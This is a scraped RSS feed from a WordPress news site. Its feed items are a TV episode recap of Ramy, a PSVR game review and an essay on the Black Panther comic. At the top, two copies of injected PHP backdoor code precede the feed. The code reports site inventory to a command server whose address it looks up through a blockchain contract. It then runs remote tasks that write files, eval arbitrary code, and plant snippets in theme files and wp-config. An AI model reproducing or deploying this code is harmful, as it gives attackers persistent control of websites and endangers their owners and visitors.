// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Path. – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 30 May 2020 13:09:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Path. – Brief News https://briefnews.eu 32 32 Ramy Premiere Recap: Path Finder https://briefnews.eu/ramy-premiere-recap-path-finder/ https://briefnews.eu/ramy-premiere-recap-path-finder/#respond Sat, 30 May 2020 13:09:56 +0000 https://briefnews.eu/ramy-premiere-recap-path-finder/

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Fresh off a trip to Egypt — and a Golden Globe win for leading man Ramy Youssef — Ramy‘s protagonist returns in the Season 2 premiere pretty much where he left off at the end of Season 1: religiously lost and emotionally unsatisfied. His trip to his ancestral homeland did not go as planned, ending with the death of his grandfather and a romantic encounter with his cousin.

Yet there is hope for him yet in the form of Sheikh Ali (played by True Detective‘s Mahershala Ali), a spiritual guide who agrees to take our titular hero on a journey of self-discovery and reflection. Read on for highlights from the episode, titled “Bay’ah.”

THE PATH OF THE PROPHET | Ramy’s path will be rough, though, and he displays throughout the episode that he has a lot of work to do. Ever since getting back from Egypt, he has been sitting at home eating candy, watching porn and masturbating (yes, all at the same time). He’s been absent from work and has not been attending Friday prayers. Things have gotten so bad that his friends had to talk to his mom, who speaks to the local imam.

So Ramy goes to the imam, who immediately starts questioning him about the death of his grandfather. While Ramy is upset about that, he is more focused on his relationship issues and porn addiction. But the imam wants nothing to do with that, shutting Ramy down before he can even really begin and sending him off with a standard prescription of Quran reading, Wudu (ritual cleansing) and fasting. “Be like our Prophet. Our Prophet did not watch porn,”the imam argues. “It’s just, the Prophet did not have porn,” Ramy points out.

HELP WANTED | On his way out, Ramy runs into Michael, the mosque attendant and Muslim convert Ramy met all the way back in the third episode of Season 1. He invites Ramy to join him at the new Sufi Center, led by the “radical” Sheikh Ali. “Like cool radical. Not ‘radical’ radical,” Michael clarifies. Ramy has to turn him down due to a dinner with his family and his father’s new boss, but says he will keep it in mind.

Before dinner, though, Ramy pulls a shift at Uncle Naseem’s jewelry store. Naseem says he planned to fire Ramy when he got back from Egypt but, after the customers asked for him while he was away, decides to make him a partner instead. And, as a congratulatory gift, Naseem gives Ramy a revolver. (More on this in a moment.)

DINNER TIME | At dinner, Ramy is joined by his father Farouk, his mother Maysa and his sister Dena, as well as his father’s boss, the boss’ wife and the boss’ senile father. Farouk goes to great lengths to try to impress his new employer, letting him call him Frank, trying to shut down his wife as she discusses Desperate Housewives and innocently confuses Eva Longoria with Jessica Alba, and even downing a whiskey, despite his not drinking alcohol.

Frustrated and bored, Ramy excuses himself to the bathroom. He sets aside his gun (guess he did not have time to drop it off?) and begins to masturbate. (As one does when a guest in their father’s boss’ home?) However, he is interrupted by the senile man. (This is why we lock the door, people!) Then, in a moment straight out of a horror thriller, the man grabs the gun and points it at Ramy. He eventually lowers the weapon… only to raise it to his own temple! Thankfully, a call from the senile man’s son ends the encounter. However, he ends up stealing the gun. (And the breath out of my lungs. I thought this was supposed to be a comedy!)

HONESTY IS THE BEST POLICY | After dinner, Ramy heads to the Sufi Center, where he catches the end of Sheikh Ali’s very intense session. The sheikh calls Ramy aside to get his full story, and Ramy immediately begins complaining about his father abandoning his religious principles just so he could impress his boss. However, the sheikh has no interest in his father, and pushes Ramy to talk about himself.

“I feel like I have this hole inside of me that’s always been there,” Ramy tells him. “This emptiness. And I’m always trying to fill it with something.” He explains that he started watching porn to quell the urge to have sex before marriage, but that it only made it worse. He laments the affair he had with Salma during Ramadan and confesses what we have suspected all along: that Ramy did indeed sleep with his cousin on his trip to Egypt. “Our grandpa died and I f–ked my cousin,” he says.

Sheikh Ali agrees to take Ramy as his student, and the two form a bay’ah — a binding spiritual contract. He then invites his new student to pray with him, but not before making Ramy promise that he showered since he last masturbated. “You must come to Allah clean,” he instructs. Welcome to the path, Ramy. And good luck.

What did you think of Ramy‘s Season 2 premiere? Grade the episode via the poll below, then hit the comments with your thoughts!

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]]> https://briefnews.eu/ramy-premiere-recap-path-finder/feed/ 0 Arca's Path PSVR review: A relaxing virtual reality game that anybody can play https://briefnews.eu/arcas-path-psvr-review-a-relaxing-virtual-reality-game-that-anybody-can-play/ https://briefnews.eu/arcas-path-psvr-review-a-relaxing-virtual-reality-game-that-anybody-can-play/#respond Mon, 10 Dec 2018 05:46:13 +0000 http://briefnews.eu/arcas-path-psvr-review-a-relaxing-virtual-reality-game-that-anybody-can-play/

Arca’s Path is the brainchild of former Sony London studio director Dave Raynard, whose previous foray into virtual reality involved guns, crime and Cockney gangsters.

A tranquil and unique experience that’s quite unlike anything else on PSVR, Arca’s Path is about as far removed from The London Heist as you’ll get.

Part of Sony London’s PlayStation Worlds compilation, London Heist is a showcase of everything that’s good and bad about virtual reality.

It’s an incredibly intense and immersive experience that drops you into the thick of the action, but one that soon pulls you back out when your controller and calibration goes haywire.

The reason I’m talking about The London Heist so much is that game director Dave Raynard appears to have learned some valuable lessons from PlayStation VR Worlds, and applied them to Arca’s Path.

From motion sickness to calibration calamities, most people would agree that virtual reality has its fair share of problems.

By stripping things back to the very basics, Arca’s Path bypasses many of the common issues associated with virtual reality.

With not a single controller in sight – everything is controlled by your head – Arca’s Path is an elegant experience that’s highly tranquil.

It all begins when your character is drawn into a beautiful and mysterious new world that’s positively drowning in colour.

The lead character is represented by a ball, and it’s up to you to guide this ball through the labyrinth and eventually break free.

It’s kind of like a narrative-driven Super Monkey Ball, only instead of tilting the game world, you have direct control over your character. Just look at where you want to go, and the ball will follow.

Needless to say, the challenge begins to ramp up, as you navigate steeper slopes and narrower, deadlier paths.

The art direction is sublime and the maze-like levels well designed, although I would have liked just a bit more in the way of variety and challenge.

Indeed, one of the game’s biggest strengths is also one of its biggest weaknesses. In a bid to make it accessible to everyone, Arca’s Path borders on being a bit too simple for its own good.

Its short length coupled by a relative lack of challenge results in a game that’s perfect for relaxing and a great starting point for virtual reality rookies.

VERDICT: 3.5/5

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]]> https://briefnews.eu/arcas-path-psvr-review-a-relaxing-virtual-reality-game-that-anybody-can-play/feed/ 0 The Black Path to the Black Panther https://briefnews.eu/the-black-path-to-the-black-panther/ https://briefnews.eu/the-black-path-to-the-black-panther/#respond Tue, 13 Nov 2018 17:10:52 +0000 http://briefnews.eu/the-black-path-to-the-black-panther/ A parking sign atop a pole rattled and shook angrily against a Brooklyn sky as a gaggle of 12-year-old Black kids, including yours truly, took turns using it as a prop for mock martial arts moves. Sprinting toward the pole at top speed, we’d grab it with one hand and spin around a few times while striking superhero poses. The favorite? A move called the Black Panther. Depending on whether or not parents were watching, it either involved the middle finger or it didn’t. The year was 1974, and inspired by one of our favorite comic books, we thought we were the baddest-assed pole dancers in Brooklyn right around then.

There’s always been something sort of outlaw about what people now call graphic novels and what are still sometimes called comic books. Scorned and disreputable, comics battered back against claims that they were, along with dime-store novels, corrupting the youth of America. Like the early film industry that had to flee westward to escape increased official scrutiny, comics pimped an underdog sensibility that came out of Jewish New York immigrant urges — Lithuanian urges in the case of Marvel Comics founder Moe Goodman.

We didn’t have any Black Panthers in Brooklyn. But we had the Black Panther.

Gary Baldwin, comic book fanboy

At no time was this sensibility felt more keenly than during the civil-rights era, when Marvel got on the zeitgeist like white on rice. That is, after a bad start in the 1940s and ’50s, when racial stereotypes abounded in comic books. But by the time the revolution was televised in the ’60s, Marvel had not the slightest compunction about letting their left-leaning bona fides be known. “They blew past decades of ingrained newsstand racism,” says Bob Calhoun, comic fanatic and author of Shattering Conventions: Commerce, Cosplay, and Conflict on the Expo Floor. “Look, before Black Panther, anytime you found an advanced civilization in Africa in comics or pulp fiction, stuff by [Tarzan creator Edgar Rice] Burroughs or [Conan the Barbarian creator Robert E.] Howard, it was evidence of ancient white people.”

And Goodman and his comics editor and later head of Marvel Stan Lee and Marvel artist extraordinaire Jack Kirby didn’t wait for marketing studies or focus groups to see how comic book integration played down South — they just did it. Specifically, they advanced narratives that Africans, and by extension Black Americans, ”should be empowered, were empowered,” according to Calhoun.

“Yeah, they taught this pasty Irish kid at a very early age that the Ku Klux Klan were the bad guys,” Calhoun adds. “My people could definitely use more of that last message.”

Gettyimages 592338030

For Black readers, it was almost a Golden Age of comics. Luke Cage, aka Power Man, now a hit Netflix TV series, and then Black Panther, who was originally called the Coal Tiger, the Falcon and scientist Bill Fister, who later became Giant-Man, came on the tail end of notable Black characters appearing in hit runs of The Amazing Spider-Man. Not always as lead characters, but as something nice and normalizing — people who were just part of the fabric of the city, like cops, journalists and working folks. Then, in the midst of civil-rights struggles in 1966, Marvel dropped a group inspired by the Klan, Sons of the Serpent, into an Avengers comic book as bad guys. And as a Black kid, I found it absolutely invigorating.

“I actually still have most of his appearances in Jungle Action,” says comic collector, fan and former Brooklyn resident and also a former Black pre-teen Abram Hall about Black Panther. “His origin in the Fantastic Four series? It was electrifyingly significant.” And this is without any fanfare accompanying it.

